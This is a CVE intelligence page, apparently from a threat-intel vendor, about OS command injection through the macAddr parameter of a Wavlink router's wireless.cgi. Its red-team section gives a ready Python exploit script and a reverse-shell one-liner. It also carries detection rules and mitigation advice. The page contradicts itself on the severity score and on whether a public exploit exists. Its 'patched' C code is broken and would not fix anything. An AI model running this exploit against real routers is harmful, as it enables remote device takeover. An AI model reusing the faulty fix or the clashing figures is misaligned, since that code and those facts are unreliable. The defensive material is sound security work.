☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.9 🐛 CWE-77
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-10359

CVE-2025-10359 OS Command Injection in Wavlink
📅 PUBLISHED: 2025-09-13 13:02 UTC 🔄 UPDATED: 2026-08-18 17:13 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 6.07%
👁️
6.07% probability
151.8× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-10359 is a critical OS command injection vulnerability in the Wavlink WL-WN578W2 router (firmware version 221110). The flaw resides in the /cgi-bin/wireless.cgi endpoint, specifically within the sub_404DBC function. By manipulating the macAddr argument, an unauthenticated remote attacker can inject arbitrary operating system commands, leading to full device compromise. The exploit has been publicly released, and the vendor has not responded to disclosure attempts. With a CVSS score of 7.3, this vulnerability poses a significant threat to network integrity and confidentiality.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 7.3 (HIGH)
  • Attack Vector: Network (AV:N) – Exploitable remotely without physical access.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
  • Confidentiality Impact: High (C:H) – Full read access to device files and network traffic.
  • Integrity Impact: High (I:H) – Full write access to device configuration and filesystem.
  • Availability Impact: High (A:H) – Can cause denial of service or complete device takeover.

Threat Level: Critical. The combination of public exploit code, no authentication requirement, and high impact makes this a top-priority vulnerability for any organization using Wavlink WL-WN578W2 routers.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection flaw in the Wavlink router's CGI interface. The /cgi-bin/wireless.cgi script is responsible for handling wireless configuration changes. The sub_404DBC function processes the macAddr parameter without proper sanitization or validation.

Root Cause: The application passes user-supplied input from the macAddr parameter directly to a system shell command (likely via popen(), system(), or similar). For example, the code might construct a command like:

iwpriv ra0 set MACAddress=<user_input>

If an attacker provides input such as 00:11:22:33:44:55;id, the shell interprets the semicolon as a command separator and executes the id command.

Attack Flow:

  1. Attacker sends a crafted HTTP POST request to /cgi-bin/wireless.cgi with a malicious macAddr parameter.
  2. The CGI script passes the unsanitized input to a shell command.
  3. The injected OS command executes with the privileges of the web server (typically root on embedded devices).
  4. Attacker gains remote code execution on the router.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual C):

void sub_404DBC() {
    char macAddr[64];
    char cmd[256];
    
    // Get user input from CGI parameter
    get_cgi_param("macAddr", macAddr, sizeof(macAddr));
    
    // Vulnerable: directly concatenating user input into shell command
    snprintf(cmd, sizeof(cmd), "iwpriv ra0 set MACAddress=%s", macAddr);
    system(cmd);
}

Patched Code (Conceptual C):

void sub_404DBC() {
    char macAddr[64];
    char sanitizedMac[64];
    char cmd[256];
    
    // Get user input from CGI parameter
    get_cgi_param("macAddr", macAddr, sizeof(macAddr));
    
    // Sanitize: allow only hex digits and colons
    if (!is_valid_mac(macAddr)) {
        log_error("Invalid MAC address");
        return;
    }
    
    // Use execve instead of system to avoid shell interpretation
    snprintf(cmd, sizeof(cmd), "/sbin/iwpriv", "ra0", "set", "MACAddress=%s", macAddr, NULL);
    execve(cmd, args, NULL);
}

Key Differences:

  • Input validation: Patched code validates MAC address format (e.g., regex ^([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}$).
  • Command execution: Patched code uses execve() which does not invoke a shell, preventing command injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Target: Wavlink WL-WN578W2 router with firmware 221110
  • Network access to the router's management interface (typically port 80 or 443)
  • Python3 or curl installed

Exploit Script (Python):

#!/usr/bin/env python3
import requests
import sys

def exploit(target_ip, command):
    url = f"http://{target_ip}/cgi-bin/wireless.cgi"
    # Payload: inject command after MAC address
    payload = f"00:11:22:33:44:55;{command};"
    data = {"macAddr": payload}
    
    try:
        r = requests.post(url, data=data, timeout=10)
        print(f"[+] Request sent. Status: {r.status_code}")
        print(f"[+] Response: {r.text}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target_ip> <command>")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2])

Usage:

# Execute 'id' command on the router
python3 exploit.py 192.168.1.1 "id"

# Get a reverse shell (attacker listener: nc -lvnp 4444)
python3 exploit.py 192.168.1.1 "nc 192.168.1.100 4444 -e /bin/sh"

Metasploit Module (if available):

# Placeholder for Metasploit module
# use exploit/linux/http/wavlink_wireless_cgi_injection

Blue Team (Defensive)

Detection:

  • Monitor HTTP POST requests to /cgi-bin/wireless.cgi with suspicious macAddr parameters containing shell metacharacters (;, |, &, $, `).
  • Look for outbound connections from the router to unusual IPs/ports (reverse shell indicators).
  • Check for unexpected processes running on the router (e.g., nc, bash, python).

Honeypot Setup:

# Simulate vulnerable endpoint to catch attackers
sudo python3 -m http.server 80 --bind 0.0.0.0 &
# Log all POST requests to /cgi-bin/wireless.cgi
sudo tcpdump -i eth0 port 80 -w capture.pcap

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP POST requests to /cgi-bin/wireless.cgi with macAddr containing shell metacharacters
  • Outbound connections from the router to unknown IPs on ports 4444, 1337, 31337 (common reverse shell ports)
  • DNS queries to suspicious domains from the router

File System IOCs:

  • Unexpected files in /tmp/ (e.g., /tmp/.backdoor)
  • Modified /etc/passwd or /etc/shadow (new user accounts)
  • Presence of common backdoor binaries: nc, ncat, socat, busybox

Process IOCs:

  • Running processes: bash, sh, python, perl, nc spawned by the web server
  • Unusual child processes of httpd or lighttpd

Detection Engineering

YARA Rule

rule CVE_2025_10359_Wavlink_Command_Injection {
    meta:
        description = "Detects exploit attempts for CVE-2025-10359 in HTTP traffic"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-10359"
    strings:
        $cgi_path = "/cgi-bin/wireless.cgi"
        $mac_param = "macAddr="
        $shell_chars = /[;&|`$(){}]/
    condition:
        $cgi_path and $mac_param and #shell_chars > 0
}

Sigma Rule

title: CVE-2025-10359 Wavlink Wireless CGI Command Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /cgi-bin/wireless.cgi with shell metacharacters in macAddr parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/cgi-bin/wireless.cgi'
        cs-uri-query|contains: 'macAddr='
    filter:
        cs-uri-query|re: 'macAddr=[0-9A-Fa-f:]{17}$'
    condition: selection and not filter
falsepositives:
    - Legitimate MAC address updates (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10359 Wavlink Wireless CGI Command Injection"; flow:to_server; content:"POST"; http_method; content:"/cgi-bin/wireless.cgi"; http_uri; content:"macAddr="; http_client_body; pcre:"/macAddr=[^&]*[;&|`$()]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate affected devices: Place Wavlink WL-WN578W2 routers on a separate VLAN with no internet access.
  2. Disable remote management: If not required, disable WAN-side access to the router's web interface.
  3. Apply firewall rules: Block external access to port 80/443 on the router from untrusted networks.

Long-term Fix:

  • Vendor patch: No patch available. Contact Wavlink support and demand a firmware update.
  • Replace device: Migrate to a supported router model from a vendor with active security support.
  • Custom firmware: Consider flashing OpenWrt or DD-WRT if compatible, which are not affected by this vulnerability.

Compensating Controls:

  • Deploy a Web Application Firewall (WAF) with rules to block command injection patterns.
  • Use network segmentation to limit the blast radius.
  • Implement strict egress filtering to prevent reverse shell callbacks.

Detection & Monitoring:

  • Deploy the provided YARA, Sigma, and Suricata rules in your SIEM/IDS.
  • Enable logging on all network devices and monitor for suspicious HTTP requests.
  • Conduct regular vulnerability scans to identify affected devices.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-10359/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.